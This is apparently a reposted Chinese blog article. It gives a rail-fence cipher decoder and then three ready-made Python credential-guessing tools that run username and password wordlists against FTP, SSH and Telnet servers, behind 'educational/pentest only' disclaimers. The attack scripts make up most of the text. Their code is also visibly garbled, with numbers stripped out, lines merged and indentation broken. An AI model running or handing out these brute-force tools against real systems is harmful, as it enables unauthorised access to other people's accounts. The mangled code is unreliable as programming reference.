Python脚本暴力破解栅栏密码_Python

今天遇到一个要破解的栅栏密码，先给大家介绍通用的脚本。

方法一(通用脚本)：

				?

									#!/usr/bin/env python

									 # -*- coding: gbk -*-

									 # -*- coding: utf_ -*-

									 e = raw_input(‘请输入要解密的字符串\n‘)

									 elen = len(e)

									 field=[]

									 for i in range(,elen):

									       if(elen%i==):

									         field.append(i)

									 for f in field:

									   b = elen / f

									   result = {x:‘‘ for x in range(b)}

									   for i in range(elen):

									     a = i % b;

									     result.update({a:result[a] + e[i]})

									   d = ‘‘

									   for i in range(b):

									     d = d + result[i]

									   print ‘分为\t‘+str(f)+‘\t‘+‘栏时，解密结果为： ‘+d

方法二：

FTP暴力破解脚本

				?

									#!/usr/bin/env python

									#-*-coding = utf--*-

									#author:@xfk

									#blog:@blog.sina.com.cn/kaiyongdeng

									#date:@--

									import sys, os, time

									from ftplib import FTP

									docs = """

									      [*] This was written for educational purpose and pentest only. Use it at your own risk. 

									      [*] Author will be not responsible for any damage!

									      [*] Toolname : ftp_bf.py

									      [*] Coder :

									      [*] Version : .

									      [*] eample of use : python ftp_bf.py -t ftp.server.com -u usernames.txt -p passwords.txt

									    """

									if sys.platform == 'linux' or sys.platform == 'linux':

									  clearing = 'clear'

									else:

									  clearing = 'cls'

									os.system(clearing)

									R = "\[m";

									G = "\[m";

									Y = "\[m"

									END = "\[m"

									def logo():

									  print G+"\n |---------------------------------------------------------------|"

									  print " | |"

									  print " | blog.sina.com.cn/kaiyongdeng |"

									  print " | // ftp_bf.py v.. |"

									  print " | FTP Brute Forcing Tool |"

									  print " | |"

									  print " |---------------------------------------------------------------|\n"

									  print " \n [-] %s\n" % time.strftime("%X")

									  print docs+END

									def help():

									  print R+"[*]-t, --target ip/hostname <> Our target"

									  print "[*]-u, --usernamelist usernamelist <> usernamelist path"

									  print "[*]-p, --passwordlist passwordlist <> passwordlist path"

									  print "[*]-h, --help help <> print this help"

									  print "[*]Example : python ftp_bf -t ftp.server.com -u username.txt -p passwords.txt"+END sys.exit()

									def bf_login(hostname,username,password):

									  # sys.stdout.write("\r[!]Checking : %s " % (p))

									  # sys.stdout.flush()

									  try:

									    ftp = FTP(hostname)

									    ftp.login(hostname,username, password)

									    ftp.retrlines('list')

									    ftp.quit()

									    print Y+"\n[!] wt,wt!!! We did it ! "

									    print "[+] Target : ",hostname, ""

									    print "[+] User : ",username, ""

									    print "[+] Password : ",password, ""+END

									    return

									  # sys.exit()

									  except Exception, e:

									    pass except KeyboardInterrupt: print R+"\n[-] Exiting ...\n"+END

									  sys.exit()

									def anon_login(hostname):

									  try:

									    print G+"\n[!] Checking for anonymous login.\n"+END

									    ftp = FTP(hostname) ftp.login()

									    ftp.retrlines('LIST')

									    print Y+"\n[!] wt,wt!!! Anonymous login successfuly !\n"+END

									    ftp.quit()

									  except Exception, e:

									    print R+"\n[-] Anonymous login failed...\n"+END

									    pass

									def main():

									  logo()

									  try:

									    for arg in sys.argv:

									      if arg.lower() == '-t' or arg.lower() == '--target':

									        hostname = sys.argv[int(sys.argv[:].index(arg))+]

									      elif arg.lower() == '-u' or arg.lower() == '--usernamelist':

									        usernamelist = sys.argv[int(sys.argv[:].index(arg))+]

									      elif arg.lower() == '-p' or arg.lower() == '--passwordlist':

									        passwordlist = sys.argv[int(sys.argv[:].index(arg))+]

									      elif arg.lower() == '-h' or arg.lower() == '--help':

									        help()

									      elif len(sys.argv) <= :

									        help()

									  except:

									    print R+"[-]Cheak your parametars input\n"+END

									    help()

									  print G+"[!] BruteForcing target ..."+END

									  anon_login(hostname)

									  # print "here is ok"

									  # print hostname

									  try:

									    usernames = open(usernamelist, "r")

									    user = usernames.readlines()

									    count =

									    while count < len(user):

									      user[count] = user[count].strip()

									      count +=

									  except:

									    print R+"\n[-] Cheak your usernamelist path\n"+END

									    sys.exit()

									  # print "here is ok ",usernamelist,passwordlist

									  try:

									    passwords = open(passwordlist, "r")

									    pwd = passwords.readlines()

									    count =

									    while count < len(pwd):

									      pwd[count] = pwd[count].strip()

									      count +=

									  except:

									    print R+"\n[-] Check your passwordlist path\n"+END

									    sys.exit()

									  print G+"\n[+] Loaded:",len(user),"usernames"

									  print "\n[+] Loaded:",len(pwd),"passwords"

									  print "[+] Target:",hostname

									  print "[+] Guessing...\n"+END

									  for u in user: for p in pwd:

									    result = bf_login(hostname,u.replace("\n",""),p.replace("\n",""))

									    if result != :

									      print G+"[+]Attempt uaername:%s password:%s..." % (u,p) + R+"Disenable"+END

									    else:

									      print G+"[+]Attempt uaername:%s password:%s..." % (u,p) + Y+"Enable"+END

									    if not result :

									      print R+"\n[-]There is no username ans password enabled in the list."

									      print "[-]Exiting...\n"+END

									if __name__ == "__main__":

									  main()

SSH暴力破解

				?

									#!/usr/bin/env python

									#-*-coding = UTF--*-

									#author@:dengyongkai

									#blog@:blog.sina.com.cn/kaiyongdeng

									import sys

									import os

									import time

									#from threading import Thread

									try:

									  from paramiko import SSHClient

									  from paramiko import AutoAddPolicy

									except ImportError:

									  print G+'''

									  You need paramiko module.

									http://www.lag.net/paramiko/

									  Debian/Ubuntu: sudo apt-get install aptitude

									     : sudo aptitude install python-paramiko\n'''+END

									  sys.exit()

									docs = """

									      [*] This was written for educational purpose and pentest only. Use it at your own risk.

									      [*] Author will be not responsible for any damage!                               

									      [*] Toolname    : ssh_bf.py

									      [*] Author     : xfk

									      [*] Version     : v..

									      [*] Example of use : python ssh_bf.py [-T target] [-P port] [-U userslist] [-W wordlist] [-H help]

									  """

									if sys.platform == 'linux' or sys.platform == 'linux':

									     clearing = 'clear'

									else: 

									     clearing = 'cls'

									os.system(clearing)

									R = "\[m";

									G = "\[m";

									Y = "\[m"

									END = "\[m"

									def logo():

									     print G+"\n        |---------------------------------------------------------------|"

									     print "        |                                |"

									     print "        |        blog.sina.com.cn/kaiyongdeng          |"

									     print "        |        // ssh_bf.py v..           |"

									     print "        |         SSH Brute Forcing Tool            |"

									     print "        |                                |"

									     print "        |---------------------------------------------------------------|\n"

									     print " \n           [-] %s\n" % time.ctime()

									     print docs+END

									def help():

									  print Y+"    [*]-H    --hostname/ip    <>the target hostname or ip address"

									  print "   [*]-P    --port     <>the ssh service port(default is )"

									  print "   [*]-U    --usernamelist   <>usernames list file"

									  print "   [*]-P    --passwordlist   <>passwords list file"

									  print "   [*]-H    --help     <>show help information"

									  print "   [*]Usage:python %s [-T target] [-P port] [-U userslist] [-W wordlist] [-H help]"+END

									  sys.exit()

									def BruteForce(hostname,port,username,password):

									    '''

									    Create SSH connection to target

									    '''

									    ssh = SSHClient()

									    ssh.set_missing_host_key_policy(AutoAddPolicy())

									    try:

									      ssh.connect(hostname, port, username, password, pkey=None, timeout = None, allow_agent=False, look_for_keys=False)

									      status = 'ok'

									      ssh.close()

									    except Exception, e:

									      status = 'error'

									      pass

									  return status

									def makelist(file):

									  '''

									  Make usernames and passwords lists

									  '''

									  items = []

									  try:

									    fd = open(file, 'r')

									  except IOError:

									    print R+'unable to read file \'%s\'' % file+END

									    pass

									  except Exception, e:

									    print R+'unknown error'+END

									    pass

									  for line in fd.readlines():

									    item = line.replace('\n', '').replace('\r', '')

									    items.append(item)

									  fd.close() 

									  return items

									def main():

									    logo() 

									#  print "hello wold"

									    try:  

									        for arg in sys.argv:

									            if arg.lower() == '-t' or arg.lower() == '--target':

									                hostname = str(sys.argv[int(sys.argv[:].index(arg))+])

									        if arg.lower() == '-p' or arg.lower() == '--port':

									          port = sys.argv[int(sys.argv[:].index(arg))+]

									            elif arg.lower() == '-u' or arg.lower() == '--userlist':

									                userlist = sys.argv[int(sys.argv[:].index(arg))+]

									            elif arg.lower() == '-w' or arg.lower() == '--wordlist':

									                wordlist = sys.argv[int(sys.argv[:].index(arg))+]

									            elif arg.lower() == '-h' or arg.lower() == '--help':

									                help()

									      elif len(sys.argv) <= :

									                help()

									    except:

									        print R+"[-]Cheak your parametars input\n"+END

									        help()

									    print G+"\n[!] BruteForcing target ...\n"+END

									#    print "here is ok"

									#    print hostname,port,wordlist,userlist

									    usernamelist = makelist(userlist)

									    passwordlist = makelist(wordlist)

									    print Y+"[*] SSH Brute Force Praparing."

									    print "[*] %s user(s) loaded." % str(len(usernamelist))

									    print "[*] %s password(s) loaded." % str(len(passwordlist))

									    print "[*] Brute Force Is Starting......."+END

									  try:

									      for username in usernamelist:

									        for password in passwordlist:

									        print G+"\n[+]Attempt uaername:%s password:%s..." % (username,password)+END

									            current = BruteForce(hostname, port, username, password)

									              if current == 'error':

									          print R+"[-]O*O The username:%s and password:%s Is Disenbabled...\n" % (username,password)+END

									#                pass

									              else:

									                  print G+"\n[+] ^-^ HaHa,We Got It!!!"

									                  print "[+] username: %s" % username

									                  print "[+] password: %s\n" % password+END

									#                  sys.exit()

									  except:

									    print R+"\n[-] There Is Something Wrong,Pleace Cheak It."

									    print "[-] Exitting.....\n"+END

									    raise

									    print Y+"[+] Done.^-^\n"+END

									    sys.exit()

									if __name__ == "__main__":

									  main()

TELNET密码暴力破解

				?

									#!usr/bin/python

									#Telnet Brute Forcer

									#http://www.darkcde.com

									#dhydr[at]gmail[dot]com

									import threading, time, random, sys, telnetlib

									from copy import copy

									if len(sys.argv) !=:

									  print "Usage: ./telnetbrute.py <server> <userlist> <wordlist>"

									  sys.exit()

									try:

									  users = open(sys.argv[], "r").readlines()

									except(IOError):

									  print "Error: Check your userlist path\n"

									  sys.exit()

									try:

									  words = open(sys.argv[], "r").readlines()

									except(IOError):

									  print "Error: Check your wordlist path\n"

									  sys.exit()

									print "\n\t  dhydr[at]gmail[dot]com TelnetBruteForcer v."

									print "\t--------------------------------------------------\n"

									print "[+] Server:",sys.argv[]

									print "[+] Users Loaded:",len(users)

									print "[+] Words Loaded:",len(words),"\n"

									wordlist = copy(words)

									def reloader():

									  for word in wordlist:

									    words.append(word)

									def getword():

									  lock = threading.Lock()

									  lock.acquire()

									  if len(words) != :

									    value = random.sample(words, )

									    words.remove(value[])

									  else:

									    print "\nReloading Wordlist - Changing User\n"

									    reloader()

									    value = random.sample(words, )

									    users.remove(users[])

									  lock.release()

									  if len(users) ==:

									    return value[][:-], users[]

									  else:

									    return value[][:-], users[][:-]

									class Worker(threading.Thread):

									  def run(self):

									    value, user = getword()

									    try:

									      print "-"*

									      print "User:",user,"Password:",value

									      tn = telnetlib.Telnet(sys.argv[])

									      tn.read_until("login: ")

									      tn.write(user + "\n")

									      if password:

									          tn.read_until("Password: ")

									          tn.write(value + "\n")

									      tn.write("ls\n")

									      tn.write("exit\n")

									      print tn.read_all()

									      print "\t\nLogin successful:",value, user

									      tn.close()

									      work.join()

									      sys.exit()

									    except:

									      pass

									for I in range(len(words)*len(users)):

									  work = Worker()

									  work.start()

									  time.sleep()